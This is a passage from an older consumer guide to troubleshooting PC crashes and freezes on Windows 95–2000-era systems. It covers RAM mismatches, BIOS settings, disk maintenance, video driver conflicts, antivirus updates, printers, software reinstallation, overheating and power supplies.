But a fatal error caused by Ram might be caused by a mismatch of chips. For example, mixing 70-nanosecond (70ns) Ram with 60ns Ram will usually force the computer to run all the Ram at the slower speed. This will often crash the machine if the Ram is overworked.

One way around this problem is to enter the BIOS settings and increase the wait state of the Ram. This can make it more stable. Another way to troubleshoot a suspected Ram problem is to rearrange the Ram chips on the motherboard, or take some of them out. Then try to repeat the circumstances that caused the crash. When handling Ram try not to touch the gold connections, as they can be easily damaged.

Parity error messages also refer to Ram. Modern Ram chips are either parity (ECC) or non parity (non-ECC). It is best not to mix the two types, as this can be a cause of trouble.

EMM386 error messages refer to memory problems but may not be connected to bad Ram. This may be due to free memory problems often linked to old Dos-based programmes.

3 BIOS settings

Every motherboard is supplied with a range of chipset settings that are decided in the factory. A common way to access these settings is to press the F2 or delete button during the first few seconds of a boot-up.

Once inside the BIOS, great care should be taken. It is a good idea to write down on a piece of paper all the settings that appear on the screen. That way, if you change something and the computer becomes more unstable, you will know what settings to revert to.

A common BIOS error concerns the CAS latency. This refers to the Ram. Older EDO (extended data out) Ram has a CAS latency of 3. Newer SDRam has a CAS latency of 2. Setting the wrong figure can cause the Ram to lock up and freeze the computer's display.

Mcft Windows is better at allocating IRQ numbers than any BIOS. If possible set the IRQ numbers to Auto in the BIOS. This will allow Windows to allocate the IRQ numbers (make sure the BIOS setting for Plug and Play OS is switched to 'yes' to allow Windows to do this.).

4 Hard disk drives

After a few weeks, the information on a hard disk drive starts to become piecemeal or fragmented. It is a good idea to defragment the hard disk every week or so, to prevent the disk from causing a screen freeze. Go to

* Start-Programs-Accessories-System Tools-Disk Defragmenter

This will start the procedure. You will be unable to write data to the hard drive (to save it) while the disk is defragmenting, so it is a good idea to schedule the procedure for a period of inactivity using the Task Scheduler.

The Task Scheduler should be one of the small icons on the bottom right of the Windows opening page (the desktop).

Some lockups and screen freezes caused by hard disk problems can be solved by reducing the read-ahead optimisation. This can be adjusted by going to

* Start-Settings-Control Panel-System Icon-Performance-File System-Hard Disk.

Hard disks will slow down and crash if they are too full. Do some housekeeping on your hard drive every few months and free some space on it. Open the Windows folder on the C drive and find the Temporary Internet Files folder. Deleting the contents (not the folder) can free a lot of space.

Empty the Recycle Bin every week to free more space. Hard disk drives should be scanned every week for errors or bad sectors. Go to

* Start-Programs-Accessories-System Tools-ScanDisk

Otherwise assign the Task Scheduler to perform this operation at night when the computer is not in use.

5 Fatal OE exceptions and VXD errors

Fatal OE exception errors and VXD errors are often caused by video card problems.

These can often be resolved easily by reducing the resolution of the video display. Go to

* Start-Settings-Control Panel-Display-Settings

Here you should slide the screen area bar to the left. Take a look at the colour settings on the left of that window. For most desktops, high colour 16-bit depth is adequate.

If the screen freezes or you experience system lockups it might be due to the video card. Make sure it does not have a hardware conflict. Go to

* Start-Settings-Control Panel-System-Device Manager

Here, select the + beside Display Adapter. A line of text describing your video card should appear. Select it (make it blue) and press properties. Then select Resources and select each line in the window. Look for a message that says No Conflicts.

If you have video card hardware conflict, you will see it here. Be careful at this point and make a note of everything you do in case you make things worse.

The way to resolve a hardware conflict is to uncheck the Use Automatic Settings box and hit the Change Settings button. You are searching for a setting that will display a No Conflicts message.

Another useful way to resolve video problems is to go to

* Start-Settings-Control Panel-System-Performance-Graphics

Here you should move the Hardware Acceleration slider to the left. As ever, the most common cause of problems relating to graphics cards is old or faulty drivers (a driver is a small piece of software used by a computer to communicate with a device).

Look up your video card's manufacturer on the internet and search for the most recent drivers for it.

6 Viruses

Often the first sign of a virus infection is instability. Some viruses erase the boot sector of a hard drive, making it impossible to start. This is why it is a good idea to create a Windows start-up disk. Go to

* Start-Settings-Control Panel-Add/Remove Programs

Here, look for the Start Up Disk tab. Virus protection requires constant vigilance.

A virus scanner requires a list of virus signatures in order to be able to identify viruses. These signatures are stored in a DAT file. DAT files should be updated weekly from the website of your antivirus software manufacturer.

An excellent antivirus programme is McAfee VirusScan by Network Associates ( www.nai.com). Another is Norton AntiVirus 2000, made by Symantec ( www.symantec.com).

7 Printers

The action of sending a document to print creates a bigger file, often called a postscript file.

Printers have only a small amount of memory, called a buffer. This can be easily overloaded. Printing a document also uses a considerable amount of CPU power. This will also slow down the computer's performance.

If the printer is trying to print unusual characters, these might not be recognised, and can crash the computer. Sometimes printers will not recover from a crash because of confusion in the buffer. A good way to clear the buffer is to unplug the printer for ten seconds. Booting up from a powerless state, also called a cold boot, will restore the printer's default settings and you may be able to carry on.

8 Software

A common cause of computer crash is faulty or badly-installed software. Often the problem can be cured by uninstalling the software and then reinstalling it. Use Norton Uninstall or Uninstall Shield to remove an application from your system properly. This will also remove references to the programme in the System Registry and leaves the way clear for a completely fresh copy.

The System Registry can be corrupted by old references to obsolete software that you thought was uninstalled. Use Reg Cleaner by Jouni Vuorio to clean up the System Registry and remove obsolete entries. It works on Windows 95, Windows 98, Windows 98 SE (Second Edition), Windows Millennium Edition (ME), NT4 and Windows 2000.

Read the instructions and use it carefully so you don't do permanent damage to the Registry. If the Registry is damaged you will have to reinstall your operating system. Reg Cleaner can be obtained from www.jv16.org

Often a Windows problem can be resolved by entering Safe Mode. This can be done during start-up. When you see the message "Starting Windows" press F4. This should take you into Safe Mode.

Safe Mode loads a minimum of drivers. It allows you to find and fix problems that prevent Windows from loading properly.

Sometimes installing Windows is difficult because of unsuitable BIOS settings. If you keep getting SUWIN error messages (Windows setup) during the Windows installation, then try entering the BIOS and disabling the CPU internal cache. Try to disable the Level 2 (L2) cache if that doesn't work.

Remember to restore all the BIOS settings back to their former settings following installation.

9 Overheating

Central processing units (CPUs) are usually equipped with fans to keep them cool. If the fan fails or if the CPU gets old it may start to overheat and generate a particular kind of error called a kernel error. This is a common problem in chips that have been overclocked to operate at higher speeds than they are supposed to.

One remedy is to get a bigger better fan and install it on top of the CPU. Specialist cooling fans/heatsinks are available from www.computernerd.com or www.coolit.com

CPU problems can often be fixed by disabling the CPU internal cache in the BIOS. This will make the machine run more slowly, but it should also be more stable.

10 Power supply problems

With all the new construction going on around the country the steady supply of electricity has become disrupted. A power surge or spike can crash a computer as easily as a power cut.

If this has become a nuisance for you then consider buying a uninterrupted power supply (UPS). This will give you a clean power supply when there is electricity, and it will give you a few minutes to perform a controlled shutdown in case of a power cut.

It is a good investment if your data are critical, because a power cut will cause any unsaved data to be lost.